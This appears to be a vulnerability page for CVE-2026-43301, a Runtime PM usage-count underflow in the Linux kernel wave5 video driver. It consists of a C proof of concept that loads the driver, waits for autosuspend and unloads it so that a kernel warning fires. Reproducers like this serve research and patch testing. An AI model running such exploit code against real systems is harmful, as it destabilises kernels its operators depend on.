CVE-2026-43301: Linux内核Wave5驱动PM计数下溢漏洞

/* * Conceptual PoC for CVE-2026-43301 * Triggering the PM usage count underflow in Linux Kernel wave5 driver. * This requires a system with the vulnerable driver loaded. */ #include <stdio.h> #include <stdlib.h> int main() { printf("[+] Attempting to trigger CVE-2026-43301...\n"); // Step 1: Ensure the driver is loaded (if not already) system("modprobe wave5"); // Step 2: Wait for the device to autosuspend (usage count drops to 0) // The delay depends on the autosuspend delay configured in the driver. printf("[*] Waiting for autosuspend..."); sleep(5); // Step 3: Unload the module to trigger the remove path // This calls the vulnerable remove() function which executes // pm_runtime_put_sync() on a device with count 0, causing underflow. printf("[*] Unloading module to trigger remove path...\n"); system("rmmod wave5"); // Check dmesg for warning: // "WARNING: CPU: X PID: Y at ... vdec ... Runtime PM usage count underflow!" printf("[+] Done. Check 'dmesg' for kernel warnings.\n"); return 0; }